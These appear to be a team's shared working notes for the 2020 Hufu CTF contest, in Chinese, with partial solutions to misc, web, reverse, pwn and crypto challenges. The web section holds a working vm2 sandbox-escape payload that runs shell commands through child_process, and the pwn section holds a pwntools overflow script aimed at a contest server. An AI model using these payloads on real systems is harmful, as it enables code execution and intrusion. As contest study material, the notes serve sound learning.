---
# System prepended metadata

title: 虎符 协作文档

---

# 虎符 协作文档

// 数字中国创新大赛--虎符网络安全赛道

:::success
**URL**: https://race.ichunqiu.com/hfctf
**Start Time**: 2020年4月19日 9:00
**End Time**: 17:00
:::

---

[TOC]

---

# Misc

## 密码机器 | OPEN | Working: Wal1et
- Arduino单片机hex文件
- hex文件尾有一段python代码，涉及到加密和解密，但IDA还原的很混乱

```python
import base64
from Crypto.Cipher import AES

def add_to_16(s):
    while len(s) % 16 != 0:
        s += '\0'
    return str.encode(s)
    
print('you have 10s to input the secret key')
key = 'aaaaa14mK3ybbbbb'
encrypted_text = 'PZbQF92C0DPpmpgV/sxbA3zG4UGMjRUsQitRsfCofGh0IcjCvVUwbc/5YxWgrSJHUzsz0eb/'
aes = AES.new(str.encode(key), AES.MODE_ECB)
decrypted_text = str(aes.decrypt(base64.decodebytes(bytes(encrypted_text, encoding='utf8'))).rstrip(b'\0').decode('utf8'))
```
- ↑这个跑不起来，有好多地方要改

## 奇怪的组织 | OPEN | Working: EndCat
- Windows环境取证（并不是
- 题目给了一些除System文件夹之外的程序目录/文件目录

**有没有方便针对文件夹的取证软件.....**
**没有的话那我人 工 取 证le**

题目Hint：注意用户的浏览行为，注意用户的聊天内容。

- Spot 1
简单翻了一下文件夹目录，发现有一个用户叫bob，浏览器使用firefox
搜索places.sqlite 这是存放浏览记录的文件（用sqlitespy看√）(看完了)

可疑记录有：
浏览记录里面为主要为dedecms的安装/
有可能进入到后台和phpmyadmin进行了一系列操作
访问网页：protonmail/spacesniffer/emojipedia

- Spot 2
在bob用户目录下发现了一首天气之子的OST
（暂时没打开来听过，应该不会有音频隐写啥的8）

- Spot 3
在bob用户的Document目录下 发现一个与
https://docs.geetest.com/onelogin/deploy/client/android
有关的的pdf文件

- Spot 4
根目录装了一个phpstudy+dedecms

**有没有人看一下这个站点……我把下载链接放下面**
https://pan.baidu.com/s/1k79WYOu3M-FqiY66K_WHXw
3b9f
<!-- 害用百度云？爬 -->

Users\bob\Pictures\Camera Roll\sdcard\
~~手机备份，cat看一下~~ 没啥东西

phpstudy的tmp里有session留着，里面有pma的执行记录

thunderbird邮件记录
![](https://i.imgur.com/pRGjOQB.png)
这个codemoji好简陋。。官网只能加密，解密必须有分享网址，单独发的那两条解不开
其他几个地址解开后大意是“我们找到了安全的传输方法，密码不够复杂” emoji：那个龙

https://github.com/pavelvodrazka/ctf-writeups/tree/master/hackyeaster2018/challenges/egg17/files/cracker


## Minesweeper | OPEN | Working: EndCat
- netcat连接 发现是一个扫雷游戏
- nc 39.97.210.182 56666
貌似有很多关卡
我手撕了level1后 给了我一些意义不明的数字
```
You Win!
your reward:
0.3984 0.4219 0.3789 0.4023 0.4805 0.2109 0.3828 0.2227 0.2188 0.2188 0.1875 0.1875 0.1914 0.1758 0.1953
```
Tips:如果你们也想手撕的话，**可以连续键入方向指令，这样会快一点**


# Web

## easy_login | OPEN | Working: Reclu3e flag(手断回来了)
- /app.js
- /rest.js
- /controller.js （controllers/* 底下的js文件。。。）
- /views/{login/register/home}.pug （模版，没啥用）
- /package.json 看依赖版本（好像也没啥用）
- get flag 的时候会带着session，应该没法伪造身份，应该还是登陆的时候要伪造成admin
- /controllers/{view/api}.js

重点在于/api/flag到底要怎么验证emmmm

就是个get请求也没传啥参数啥的，应该是验证session的某个字段吧

koajs/session 的README里头写道
`Warning: If a session cookie is stolen, this cookie will never expire`
怎么拿到controllers底下的东西。。。 < 猜（迫真）

![](https://i.imgur.com/J9h74ns.png)
~~所有的secret是一个数组存的，每个人有不一样的secret，试试改secretid是负数，那么就是一个undefined的secret，这样就可以伪造admin了~~
🉑️么？ <- 并不🉑️，有校验

/controllers/api.js

怎么拿到的。。。。。猜？ <- 猜  草
还真是admin。。。。
<!-- 看来疯狂注册就行了 -->

![](https://i.imgur.com/Gzd9U4t.png)

<!-- ![](https://i.imgur.com/YYOKdxe.png) <- sid不是在jwt里面吗  -->

在浏览器上可以，但是发过去就是sid不存在，你们康康
secret or public key must be provided
jwt.verify()第二个参数不能是undefined。。

https://github.com/auth0/node-jsonwebtoken

// js的数组有什么属性/函数返回的是一个字符串？([].toString())
除了[]还有什么满足`!(sid < global.secrets.length && sid >= 0)`？
字符串8行，还要满足上面那个式子

## just escape | DONE | Frank

- js沙箱逃逸√
- code=Error().stack

vm2

https://github.com/patriksimek/vm2/issues


<!-- 咋这么多js啊 我不会js -->

过滤
- " (用String.fromCharCode绕)
- .proto (Buffer.from.lookupGetter绕)
- process
- constructor
- exec

```javascript
(function() {
	var exports;
    exports[String.fromCharCode(112, 114, 111, 99, 101, 115, 115)] = 
    // exports.process = 
    setTimeout(()=>{}, 100).ref()
    [String.fromCharCode(99, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114)]
    [String.fromCharCode(99, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114)]
    //settimeOut(()=>{}).ref().constructor.constructor
    (String.fromCharCode(114, 101, 116, 117, 114, 110, 32, 112, 114, 111, 99, 101, 115, 115))();
})()
```
怎么会ReferenceError: setTimeout is not defined
懵，还能没有setTimeout的么
这waf得我有亿点自闭
![](https://i.imgur.com/8XXmBFM.png)
极限交flag

未混淆payload
```javascript
(function(){
    try{
        Buffer.from(new Proxy({}, {
            getOwnPropertyDescriptor(){
                throw f=>f.constructor("return process")();
            }
        }));
    }catch(e){
        return e(()=>{}).mainModule.require('child_process').execSync("ls")
    }
})()
```


## baby love babyupload ~

<!-- 像这种打开题目就能看到源码的就不用放了8 
网页上看着难受，在这写点注释啥的-->

hash_file 能触发php反序列化，不会是phar反序列化吧-_-


# Reverse

## game | OPEN | Done : Ruby | HAPPY

* Python逆向，给了python字节码的伪代码

```python
# check0忽略
def check1(s):
    if (len(s) < 100):
        if (len(s) * len(s)) % 777 ^ 233 == 513:
            return True
    return False
# len(s) == 39

# flag 格式是啥啊
def check2(s):
    if ord(s[0])*128 + ord(s[1]) * 128 + ord(s[2]) * 128 
      + ord(s[3]) * 128 + ord(s[4]) * 128 + ord(s[5]) * 128 == 3533889469877L:
        return ord(s[-1]) == 125  # }
    return False
    
# 还要手动dis验证一下
def check3(s):
    arr = [ord(i) for i in s]
    a = arr[6:30:3]
    for i in range(len(a)):
        a[i] *= 17684 # 原意不修改a，但是这是最后一个check了，修改下a也没事了
        a[i] += 372511
        a[i] = 257 % a[i]  # a[i]%=257  # not sure
        if arr0[i] != a[i]:
            return False
    b = arr[-2, 33, -1] * 5
    c = map(lm, zip(b, arr[7, 27]))  # TOS = TOS2[TOS1:TOS]
    if c != arr1:
        return False
    p = 0
    for i in range(28, 34):
        arr[i] += 107
        arr[i] /= 16
        arr[i] += 77
        if arr[i] != arr2[p]:
            return False
        arr[i] += 117
        arr[i] %= 16
        arr[i] += 99
        if (arr2[p] + 1) != arr[i]:  # or arr2[p+1]
            return False
        p = p + 2
```
```
flag{5LZG50ex5Yi75VqE5YePLIKl541pNu3Fq}
```
下线了）
完整*山程序
https://paste.ubuntu.com/p/MvNtMgGPDh/

# Pwn

## count | DONE | Sad
arm, 马上出，签到题
签了签了
```python
from pwn import *

p = remote("39.97.210.182",40285)
for i in range(1,201):
	p.recvuntil("there have 200 levels ~Math: ")
	strr=p.recvuntil(" =")
	p.recvuntil("???input answer:")
	p.sendline(str(eval(strr[:-2])))
	print i
p.send('a'*100+p64(0x12235612))
p.interactive()
```


# Crypto

## gm | DONE | konge

<!-- 睡过了。。。难受 -->


```python
import data
phi = data.a
n = data.b
p = (n - phi + 1 - ((n - phi + 1) ^ 2 - 4 * n).nth_root(2)) // 2
q = n // p
Fp = Integers(p)
f2 = [0 if Fp(f).is_square() else 1 for f in data.enc]
hex(int('0' + ''.join(str(i) for i in f2), 2))[2:-1].decode('hex')
```

（开个sage搞死我了

https://ctftime.org/writeup/16120

## mceliece | Open | konge

https://github.com/aburan28/mceliece/blob/c60c503d04d9690e926e6badd559334124828c3d/mceliece/goppa_codes.py